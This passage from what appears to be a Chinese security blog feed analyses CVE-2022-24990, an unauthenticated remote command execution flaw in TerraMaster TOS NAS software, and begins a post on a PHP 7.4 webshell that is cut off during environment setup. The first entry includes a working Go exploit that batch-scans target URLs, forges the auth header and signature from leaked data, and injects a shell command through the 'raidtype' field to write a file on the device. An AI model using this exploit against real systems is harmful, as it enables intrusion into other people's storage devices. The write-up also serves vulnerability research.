punctuation">{</span>            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">sessionid</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">in</span><span class="token punctuation">[</span><span class="token string">'PHPSESSID'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>        <span class="token shell-comment comment">#管理员接口</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">in_array</span><span class="token punctuation">(</span>Action<span class="token punctuation">,</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">noPermission</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">user</span><span class="token punctuation">[</span><span class="token string">'role'</span><span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token string">"root"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>                <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">output</span><span class="token punctuation">(</span><span class="token string">"User [{$this->user['name']}] does not have permission!"</span><span class="token punctuation">,</span> <span class="token boolean">false</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array</span><span class="token punctuation">(</span>Action<span class="token punctuation">,</span> self<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token variable">$notCheck</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">loginCheck</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>            <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">output</span><span class="token punctuation">(</span><span class="token string">"login is timeout"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span>    <span class="token comment" spellcheck="true">//初始化</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>self<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token variable">$U</span> <span class="token operator">==</span> <span class="token keyword">null</span><span class="token punctuation">)</span> self<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token variable">$U</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">person</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>self<span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token variable">$U</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">deamon</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token function">output</span><span class="token punctuation">(</span><span class="token string">"user hasn't permission!"</span><span class="token punctuation">,</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-716.png" alt="upload successful"></p><p><img src="/images/pasted-717.png" alt="upload successful"></p><p>所以这个$this-&gt;REQUESTCODE暂时没法去绕过</p><p>继续往下看</p><p><img src="/images/pasted-718.png" alt="upload successful"></p><p>目前还只能调用这两个数组中的指定方法，才能绕过指定的检测</p><pre><code>$GLOBALS[&#39;NO_LOGIN_CHECK&#39;] = array(&quot;webNasIPS&quot;, &quot;getDiskList&quot;, &quot;createRaid&quot;, &quot;getInstallStat&quot;, &quot;getIsConfigAdmin&quot;, &quot;setAdminConfig&quot;, &quot;isConnected&quot;);</code></pre><pre><code>static $notHeader = [&quot;fileDownload&quot;, &quot;videoPlay&quot;, &quot;imagesThumb&quot;, &quot;imagesView&quot;, &quot;fileUpload&quot;, &quot;tempClear&quot;, &quot;wapNasIPS&quot;, &quot;webNasIPS&quot;, &quot;isConnected&quot;];</code></pre><p><img src="/images/pasted-719.png" alt="upload successful"></p><p>notcheck数组</p><pre><code>static $notCheck = [    &quot;webNasIPS&quot;, &quot;getDiskList&quot;, &quot;createRaid&quot;, &quot;getInstallStat&quot;, &quot;getIsConfigAdmin&quot;, &quot;setAdminConfig&quot;, &quot;isConnected&quot;,&#39;createid&#39;,    &#39;user_create&#39;,&#39;user_bond&#39;,&#39;user_release&#39;,&#39;login&#39;, &#39;logout&#39;, &#39;checkCode&#39;, &quot;wapNasIPS&quot;];</code></pre><p><img src="/images/pasted-720.png" alt="upload successful"></p><p>所以到此简单梳理一下</p><p>不在这个两个数组内需登录相关的验证</p><p>$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);</p><p>static $notCheck = [<br>    “webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,<br>    ‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”<br>];</p><p>不在这个数组内的需要下面两个的检测</p><p>static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];</p><pre><code>tos_encrypt_str($_SERVER[&#39;HTTP_TIMESTAMP&#39;]) != $_SERVER[&#39;HTTP_SIGNATURE&#39;] || $_SERVER[&#39;REQUEST_TIME&#39;] - $_SERVER[&#39;HTTP_TIMESTAMP&#39;] &gt; 300)</code></pre><pre><code>if (!strstr($_SERVER[&#39;HTTP_USER_AGENT&#39;], &quot;TNAS&quot;) || !isset($_SERVER[&#39;HTTP_AUTHORIZATION&#39;]) || $this-&gt;REQUESTCODE != $_SERVER[&#39;HTTP_AUTHORIZATION&#39;]) {</code></pre><p>那么在均在三个数组内的发现只有下面个方法</p><p>webNasIPS isConnected</p><p><img src="/images/pasted-721.png" alt="upload successful"></p><p><img src="/images/pasted-722.png" alt="upload successful"></p><p>发现只能获取一些时间webNasIPS  failed了进指定方法查看一下</p><p><img src="/images/pasted-723.png" alt="upload successful"></p><p><img src="/images/pasted-724.png" alt="upload successful"></p><p><img src="/images/pasted-725.png" alt="upload successful"></p><p>因为我们获得了$this-&gt;REQUESTCODE所以可以绕过</p><pre class=" language-php"><code class="language-php"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">strstr</span><span class="token punctuation">(</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_USER_AGENT'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"TNAS"</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token operator">!</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_AUTHORIZATION'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token variable">$this</span><span class="token operator">-</span><span class="token operator">></span><span class="token property">REQUESTCODE</span> <span class="token operator">!=</span> <span class="token variable">$_SERVER</span><span class="token punctuation">[</span><span class="token string">'HTTP_AUTHORIZATION'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></code></pre><p>还需要然后下面的才能使用其他的非notHeader 的方法</p><p>static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];</p><pre><code>tos_encrypt_str($_SERVER[&#39;HTTP_TIMESTAMP&#39;]) != $_SERVER[&#39;HTTP_SIGNATURE&#39;] || $_SERVER[&#39;REQUEST_TIME&#39;] - $_SERVER[&#39;HTTP_TIMESTAMP&#39;] &gt; 300)</code></pre><p>主要这个tos_encrypt_str搜索并没有发现 时间上面我们已经可以可以获得了</p><p><img src="/images/pasted-726.png" alt="upload successful"></p><p>应该在php自定义拓展里面搜索定位一下</p><p><img src="/images/pasted-727.png" alt="upload successful"></p><p><img src="/images/pasted-728.png" alt="upload successful"></p><p><img src="/images/pasted-729.png" alt="upload successful"></p><p>跟踪get_mac_addr</p><p><img src="/images/pasted-730.png" alt="upload successful"></p><p><img src="/images/pasted-731.png" alt="upload successful"></p><p>因为mac地址webips可以知道，所以也可以进行绕过</p><p>tos_encrypt_str($_SERVER[‘HTTP_TIMESTAMP’]) != $_SERVER[‘HTTP_SIGNATURE’] || $_SERVER[‘REQUEST_TIME’] - $_SERVER[‘HTTP_TIMESTAMP’] &gt; 300)</p><p>所以我们可以使用下面两个数组中共有的方法了，因为还有登录判断，只能找两个数组中公共的</p><p>$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);</p><p>static $notCheck = [<br>    “webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,<br>    ‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”<br>];</p><p>有一下方法</p><p>webNasIPS getDiskList getInstallStat getIsConfigAdmin setAdminConfig isConnected createRaid </p><p>一个一个看</p><p><img src="/images/pasted-732.png" alt="upload successful"></p><p><img src="/images/pasted-733.png" alt="upload successful"></p><p><img src="/images/pasted-734.png" alt="upload successful"></p><p><img src="/images/pasted-735.png" alt="upload successful"></p><p><img src="/images/pasted-736.png" alt="upload successful"></p><p><img src="/images/pasted-737.png" alt="upload successful"></p><p><img src="/images/pasted-738.png" alt="upload successful"></p><p><img src="/images/pasted-739.png" alt="upload successful"></p><p>至此，完成了命令执行</p><p>梳理一下，通过webNasIPS可以获取$this-&gt;REQUESTCODE mac地址 系统时间</p><p>可以用于绕过</p><p>tos_encrypt_str $this-&gt;REQUESTCODE != $_SERVER[‘HTTP_AUTHORIZATION’]</p><p>便可以用其他方法，在createRaid方法发现$this-&gt;in[‘raidtype’]可控且传入了popen命令函数中</p><p>造成了命令执行</p><h4 id="2-3-编写poc脚本"><a href="#2-3-编写poc脚本" class="headerlink" title="2.3 编写poc脚本"></a>2.3 编写poc脚本</h4><pre class=" language-go"><code class="language-go"><span class="token keyword">package</span> main<span class="token keyword">import</span> <span class="token punctuation">(</span>    <span class="token string">"bufio"</span>    <span class="token string">"crypto/md5"</span>    <span class="token string">"flag"</span>    <span class="token string">"fmt"</span>    <span class="token string">"io"</span>    <span class="token string">"io/ioutil"</span>    <span class="token string">"net/http"</span>    <span class="token string">"os"</span>    <span class="token string">"regexp"</span>    <span class="token string">"strings"</span>    <span class="token string">"time"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  <span class="token punctuation">{</span>    <span class="token keyword">var</span> url <span class="token builtin">string</span><span class="token punctuation">;</span>    <span class="token keyword">var</span> pathfile <span class="token builtin">string</span><span class="token punctuation">;</span>    flag<span class="token punctuation">.</span><span class="token function">StringVar</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>url<span class="token punctuation">,</span> <span class="token string">"u"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">,</span> <span class="token string">"指定检测的目标的url"</span><span class="token punctuation">)</span>    flag<span class="token punctuation">.</span><span class="token function">StringVar</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>pathfile<span class="token punctuation">,</span><span class="token string">"f"</span><span class="token punctuation">,</span><span class="token string">""</span><span class="token punctuation">,</span><span class="token string">"指定检测的目标的u文件路径"</span><span class="token punctuation">)</span>    flag<span class="token punctuation">.</span><span class="token function">Parse</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> url <span class="token operator">!=</span> <span class="token string">""</span>  <span class="token punctuation">{</span>        <span class="token function">poc_getinfo</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span>    <span class="token punctuation">}</span>    <span class="token keyword">if</span> pathfile <span class="token operator">!=</span> <span class="token string">""</span> <span class="token punctuation">{</span>        fi<span class="token punctuation">,</span> err <span class="token operator">:=</span> os<span class="token punctuation">.</span><span class="token function">Open</span><span class="token punctuation">(</span>pathfile<span class="token punctuation">)</span>        <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">{</span>            fmt<span class="token punctuation">.</span><span class="token function">Printf</span><span class="token punctuation">(</span><span class="token string">"Error: %s\n"</span><span class="token punctuation">,</span> err<span class="token punctuation">)</span>            <span class="token keyword">return</span>        <span class="token punctuation">}</span>        <span class="token keyword">defer</span> fi<span class="token punctuation">.</span><span class="token function">Close</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        br <span class="token operator">:=</span> bufio<span class="token punctuation">.</span><span class="token function">NewReader</span><span class="token punctuation">(</span>fi<span class="token punctuation">)</span>        <span class="token keyword">for</span> <span class="token punctuation">{</span>            a<span class="token punctuation">,</span> <span class="token boolean">_</span><span class="token punctuation">,</span> c <span class="token operator">:=</span> br<span class="token punctuation">.</span><span class="token function">ReadLine</span><span class="token punctuation">(</span><span class="token punctuation">)</span>            <span class="token keyword">if</span> c <span class="token operator">==</span> io<span class="token punctuation">.</span>EOF <span class="token punctuation">{</span>                <span class="token keyword">break</span>            <span class="token punctuation">}</span>            url <span class="token operator">=</span> strings<span class="token punctuation">.</span><span class="token function">TrimSpace</span><span class="token punctuation">(</span><span class="token function">string</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token function">poc_getinfo</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span>    <span class="token keyword">if</span> url <span class="token operator">==</span> <span class="token string">""</span> <span class="token operator">&amp;&amp;</span> pathfile <span class="token operator">==</span> <span class="token string">""</span><span class="token punctuation">{</span>            fmt<span class="token punctuation">.</span><span class="token function">Printf</span><span class="token punctuation">(</span><span class="token string">"-h 查看命令"</span><span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">poc_getinfo</span><span class="token punctuation">(</span>Url <span class="token builtin">string</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token keyword">var</span> targetUrl <span class="token builtin">string</span>    <span class="token keyword">if</span> strings<span class="token punctuation">.</span><span class="token function">HasSuffix</span><span class="token punctuation">(</span>Url<span class="token punctuation">,</span> <span class="token string">"/"</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>        targetUrl <span class="token operator">=</span> Url <span class="token operator">+</span>  <span class="token string">"module/api.php?mobile/webNasIPS"</span>    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>        targetUrl <span class="token operator">=</span> Url <span class="token operator">+</span> <span class="token string">"/module/api.php?mobile/webNasIPS"</span>    <span class="token punctuation">}</span>    <span class="token comment" spellcheck="true">//提交请求</span>    reqest<span class="token punctuation">,</span> err <span class="token operator">:=</span> http<span class="token punctuation">.</span><span class="token function">NewRequest</span><span class="token punctuation">(</span><span class="token string">"GET"</span><span class="token punctuation">,</span> targetUrl<span class="token punctuation">,</span> <span class="token boolean">nil</span><span class="token punctuation">)</span>    <span class="token comment" spellcheck="true">//增加header选项</span>    reqest<span class="token punctuation">.</span>Header<span class="token punctuation">.</span><span class="token function">Add</span><span class="token punctuation">(</span><span class="token string">"User-Agent"</span><span class="token punctuation">,</span> <span class="token string">"TNAS"</span><span class="token punctuation">)</span>    <span class="token comment" spellcheck="true">//处理返回结果</span>    cli <span class="token operator">:=</span> http<span class="token punctuation">.</span>Client<span class="token punctuation">{</span> Timeout<span class="token punctuation">:</span> <span class="token number">10</span><span class="token operator">*</span>time<span class="token punctuation">.</span>Second <span class="token punctuation">}</span>    response<span class="token punctuation">,</span> err <span class="token operator">:=</span> cli<span class="token punctuation">.</span><span class="token function">Do</span><span class="token punctuation">(</span>reqest<span class="token punctuation">)</span>    <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">{</span>        fmt<span class="token punctuation">.</span><span class="token function">Printf</span><span class="token punctuation">(</span>targetUrl <span class="token operator">+</span> <span class="token string">"访问错误\n"</span><span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token keyword">else</span> <span class="token punctuation">{</span>        body<span class="token punctuation">,</span>err <span class="token operator">:=</span> ioutil<span class="token punctuation">.</span><span class="token function">ReadAll</span><span class="token punctuation">(</span>response<span class="token punctuation">.</span>Body<span class="token punctuation">)</span>        <span class="token keyword">if</span> err <span class="token operator">==</span> <span class="token boolean">nil</span><span class="token punctuation">{</span>            <span class="token keyword">if</span> strings<span class="token punctuation">.</span><span class="token function">Contains</span><span class="token punctuation">(</span><span class="token function">string</span><span class="token punctuation">(</span>body<span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token string">"webNasIPS successful"</span><span class="token punctuation">)</span><span class="token punctuation">{</span>                fmt<span class="token punctuation">.</span><span class="token function">Printf</span><span class="token punctuation">(</span>targetUrl <span class="token operator">+</span> <span class="token string">"存在信息泄露\n"</span><span class="token punctuation">)</span>                <span class="token function">poc_execute</span><span class="token punctuation">(</span><span class="token function">string</span><span class="token punctuation">(</span>body<span class="token punctuation">)</span><span class="token punctuation">,</span>Url<span class="token punctuation">)</span>            <span class="token punctuation">}</span><span class="token keyword">else</span> <span class="token punctuation">{</span>                fmt<span class="token punctuation">.</span><span class="token function">Printf</span><span class="token punctuation">(</span>targetUrl <span class="token operator">+</span> <span class="token string">"不存在信息泄露\n"</span><span class="token punctuation">)</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>        <span class="token keyword">defer</span> response<span class="token punctuation">.</span>Body<span class="token punctuation">.</span><span class="token function">Close</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">func</span>  <span class="token function">poc_execute</span><span class="token punctuation">(</span>req <span class="token builtin">string</span><span class="token punctuation">,</span>targetUrl <span class="token builtin">string</span><span class="token punctuation">)</span>  <span class="token punctuation">{</span>    r <span class="token operator">:=</span> regexp<span class="token punctuation">.</span><span class="token function">MustCompile</span><span class="token punctuation">(</span><span class="token string">`"mac\\":\\"(.*?)\\"`</span><span class="token punctuation">)</span>    f <span class="token operator">:=</span> regexp<span class="token punctuation">.</span><span class="token function">MustCompile</span><span class="token punctuation">(</span><span class="token string">`PWD:(.*?)\\`</span><span class="token punctuation">)</span>    timestamp <span class="token operator">:=</span> <span class="token function">string</span><span class="token punctuation">(</span>time<span class="token punctuation">.</span><span class="token function">Now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">Unix</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    mac <span class="token operator">:=</span> r<span class="token punctuation">.</span><span class="token function">FindStringSubmatch</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span>    macString <span class="token operator">:=</span> strings<span class="token punctuation">.</span><span class="token function">Replace</span><span class="token punctuation">(</span>mac<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">":"</span><span class="token punctuation">,</span><span class="token string">""</span><span class="token punctuation">,</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span>    macString <span class="token operator">=</span> <span class="token function">string</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">rune</span><span class="token punctuation">(</span>macString<span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token function">len</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">rune</span><span class="token punctuation">(</span>macString<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">-</span><span class="token number">6</span><span class="token punctuation">:</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    authorization <span class="token operator">:=</span> f<span class="token punctuation">.</span><span class="token function">FindStringSubmatch</span><span class="token punctuation">(</span>req<span class="token punctuation">)</span>    data <span class="token operator">:=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">byte</span><span class="token punctuation">(</span>macString <span class="token operator">+</span> timestamp<span class="token punctuation">)</span>    has <span class="token operator">:=</span> md5<span class="token punctuation">.</span><span class="token function">Sum</span><span class="token punctuation">(</span>data<span class="token punctuation">)</span>    signature <span class="token operator">:=</span> fmt<span class="token punctuation">.</span><span class="token function">Sprintf</span><span class="token punctuation">(</span><span class="token string">"%x"</span><span class="token punctuation">,</span> has<span class="token punctuation">)</span>    fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span>authorization<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">+</span> <span class="token string">"\n"</span> <span class="token operator">+</span> signature<span class="token punctuation">)</span>    url<span class="token operator">:=</span> targetUrl <span class="token operator">+</span> <span class="token string">"/module/api.php?mobile/createRaid"</span>    request<span class="token punctuation">,</span> <span class="token boolean">_</span> <span class="token operator">:=</span> http<span class="token punctuation">.</span><span class="token function">NewRequest</span><span class="token punctuation">(</span><span class="token string">"POST"</span><span class="token punctuation">,</span> url<span class="token punctuation">,</span> strings<span class="token punctuation">.</span><span class="token function">NewReader</span><span class="token punctuation">(</span><span class="token string">"raidtype=;echo \"&lt;?php phpinfo();?>\">phpinfo.php&amp;diskstring=XXXX"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    request<span class="token punctuation">.</span>Header<span class="token punctuation">.</span><span class="token function">Set</span><span class="token punctuation">(</span><span class="token string">"Authorization"</span><span class="token punctuation">,</span> authorization<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>    request<span class="token punctuation">.</span>Header<span class="token punctuation">.</span><span class="token function">Set</span><span class="token punctuation">(</span><span class="token string">"Signature"</span><span class="token punctuation">,</span> signature<span class="token punctuation">)</span>    request<span class="token punctuation">.</span>Header<span class="token punctuation">.</span><span class="token function">Set</span><span class="token punctuation">(</span><span class="token string">"Timestamp"</span><span class="token punctuation">,</span> timestamp<span class="token punctuation">)</span>    request<span class="token punctuation">.</span>Header<span class="token punctuation">.</span><span class="token function">Set</span><span class="token punctuation">(</span><span class="token string">"User-Agent"</span><span class="token punctuation">,</span> <span class="token string">"TNAS"</span><span class="token punctuation">)</span>    request<span class="token punctuation">.</span>Header<span class="token punctuation">.</span><span class="token function">Set</span><span class="token punctuation">(</span><span class="token string">"Content-Type"</span><span class="token punctuation">,</span> <span class="token string">"application/x-www-form-urlencoded"</span><span class="token punctuation">)</span>    client <span class="token operator">:=</span> <span class="token operator">&amp;</span>http<span class="token punctuation">.</span>Client<span class="token punctuation">{</span><span class="token punctuation">}</span>    resp<span class="token punctuation">,</span> <span class="token boolean">_</span> <span class="token operator">:=</span> client<span class="token punctuation">.</span><span class="token function">Do</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span>    <span class="token keyword">defer</span> resp<span class="token punctuation">.</span>Body<span class="token punctuation">.</span><span class="token function">Close</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    body<span class="token punctuation">,</span> <span class="token boolean">_</span> <span class="token operator">:=</span> ioutil<span class="token punctuation">.</span><span class="token function">ReadAll</span><span class="token punctuation">(</span>resp<span class="token punctuation">.</span>Body<span class="token punctuation">)</span>    <span class="token keyword">if</span> strings<span class="token punctuation">.</span><span class="token function">Contains</span><span class="token punctuation">(</span><span class="token function">string</span><span class="token punctuation">(</span>body<span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token string">"successful"</span><span class="token punctuation">)</span><span class="token punctuation">{</span>        fmt<span class="token punctuation">.</span><span class="token function">Printf</span><span class="token punctuation">(</span>targetUrl <span class="token operator">+</span> <span class="token string">"存在命令执行:"</span> <span class="token operator">+</span> targetUrl <span class="token operator">+</span> <span class="token string">"/module/phpinfo.php\n"</span><span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token keyword">else</span> <span class="token punctuation">{</span>        fmt<span class="token punctuation">.</span><span class="token function">Printf</span><span class="token punctuation">(</span>targetUrl <span class="token operator">+</span> <span class="token string">"不存在命令执行\n"</span><span class="token punctuation">)</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-740.png" alt="upload successful"></p><p><img src="/images/pasted-741.png" alt="upload successful"></p><h3 id="3-最后"><a href="#3-最后" class="headerlink" title="3.最后"></a>3.最后</h3><p>想看下4.2.32关于这个漏洞的修复，看不懂新的php_terra_master.so加密方式，没法继续看了</p><p><img src="/images/pasted-742.png" alt="upload successful"></p><p><img src="/images/pasted-743.png" alt="upload successful"></p><p>本人水平有限，如有错误还请大佬指点！</p><p><strong>说明：本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担</strong></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;1-漏洞信息&quot;&gt;&lt;a href=&quot;#1-漏洞信息&quot; class=&quot;headerlink&quot; title=&quot;1.漏洞信息&quot;&gt;&lt;/a&gt;1.漏洞信息&lt;/h3&gt;&lt;p&gt;2022年3月7日，互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞，漏洞适用于所有
      
    
    </summary>
    
    
      <category term="web安全" scheme="https://lnng.top/categories/web%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="CVE-2022-24990" scheme="https://lnng.top/tags/CVE-2022-24990/"/>
    
  </entry>
  
  <entry>
    <title>利用php7-4新特性webshell</title>
    <link href="https://lnng.top/posts/88aa.html"/>
    <id>https://lnng.top/posts/88aa.html</id>
    <published>2022-05-03T16:44:00.000Z</published>
    <updated>2022-05-03T16:55:51.168Z</updated>
    
    <content type="html"><![CDATA[<h3 id="1-前言"><a href="#1-前言" class="headerlink" title="1.前言"></a>1.前言</h3><p>看到一篇利用php7.1新特性webshell的文章感觉思路很好，<a href="https://cloud.tencent.com/developer/article/1593612" target="_blank" rel="noopener">https://cloud.tencent.com/developer/article/1593612</a></p><p>简单的测试，本文使用php7.4的新特性的webshell做一下尝试，效果还是很不错的 php7.3以上版本应该都能用</p><h3 id="2-docker搭建php7-4环境"><a href="#2-docker搭建php7-4环境" class="headerlink" title="2.docker搭建php7.4环境"></a>2.docker搭建php7.4环境</h3><p>拉取centos镜像</p><pre class=" language-shell"><code class="language-shell">docker pull centos</code></pre><p><img src="/images/pasted-674.png" alt="upload successful"></p><p>使用镜像创建容器</p><pre class=" language-shell"><code class="language-shell">docker run -it -d -p 8888:80 -v /home/docker/php7.4:/usr/share/nginx/html --privileged --name centos-php7.4  centos /usr/sbin/init</code></pre><p>参数                                                    释义<br>run                                                     启动容器的命令<br>-it                                                        i：交互模式 t：终端<br>-d                                                        后台运行<br>-p 1234:80                                         端口代理 1234 为本地端口，80 为容器内服务端口<br>/home/docker/php7.4:/usr/share/nginx/html    /home/docker/php7.4：本地路径，/usr/share/nginx/html：容器内路径；将本地和容器目录同步，之后可以直接在本地编写代码测试；/usr/share/nginx/html 是 yum 安装 nginx 服务的默认目录，如过其他方式安装请自行更换<br>–privileged                                        容器内默认使用 root 登录<br>–name centos-php7.4                    自定义你的容器名称<br>centos                                                你的镜像名称<br>/usr/sbin/init                                     centos 默认启动项</p><p><img src="/images/pasted-676.png" alt="upload successful"></p><p>进入容器</p><pre class=" language-shell"><code class="language-shell">docker exec run -it 容器id  /bin/bash</code></pre><p><img src="/images/pasted-677.png" alt="upload successful"></p><p>在2022年1月31日，CentOS团队终于从官方镜像中移除CentOS 8的所有包。</p><p>yum需要替换一下源</p><pre><code>sed -i -e &quot;s|mirrorlist=|#mirrorlist=|g&quot; /etc/yum.repos.d/CentOS-*sed -i -e &quot;s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g&quot; /etc/yum.repos.d/CentOS-*</code></pre><p><img src="/images/pasted-678.png" alt="upload successful"></p><p>安装nginx</p><pre><code>yum install nginx</code></pre><p>![image-<br><img src="/images/pasted-679.png" alt="upload successful"></p><p>设置开机自启</p><pre><code>systemctl enable nginx</code></pre><p><img src="/images/pasted-680.png" alt="upload successful"></p><p>启动nginx</p><p><img src="/images/pasted-681.png" alt="upload successful"></p><p>然后我们就可以正常访问了</p><p><img src="/images/pasted-682.png" alt="upload successful"></p><p>安装php7.4</p><p><a href="https://www.jb51.net/article/175918.htm" target="_blank" rel="noopener">https://www.jb51.net/article/175918.htm</a></p><p><img src="/images/pasted-683.png" alt="upload successful"></p><p>配置nginx解析php</p><pre><code>vi /etc/nginx/nginx.conf</code></pre><p><img src="/images/pasted-684.png" alt="upload successful"></p><pre><code> location ~ \.php$ {            # 设置监听端口            fastcgi_pass   unix:/run/php-fpm/www.sock;            # 设置nginx的默认首页文件(上面已经设置过了，可以删除)            fastcgi_index  index.php;            # 设置脚本文件请求的路径            fastcgi_param  SCRIPT_FILENAME  /usr/share/nginx/html/$fastcgi_script_name;            # 引入fastcgi的配置文件            include        fastcgi_params;        }</code></pre><p>fastcgi_pass 后参数为</p><pre><code>vi  /etc/php-fpm.d/www.conf</code></pre><p><img src="/images/pasted-685.png" alt="upload successful"></p><p>整个phpinfo测试</p><p><img src="/images/pasted-686.png" alt="upload successful"></p><h3 id="3-利用php7-4新特性webshell"><a href="#3-利用php7-4新特性webshell" class="headerlink" 